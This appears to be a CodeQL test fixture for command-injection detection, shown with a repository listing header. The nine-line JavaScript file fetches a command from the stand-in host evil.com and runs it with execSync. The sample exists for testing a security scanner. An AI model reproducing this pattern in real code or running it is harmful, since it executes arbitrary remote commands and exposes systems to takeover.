Files
codeql/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js
2022-10-28 10:16:21 +02:00

9 lines
186 B
JavaScript

let https = require("https"),
cp = require("child_process");
https.get("https://evil.com/getCommand", res =>
res.on("data", command => {
cp.execSync(command);
})
);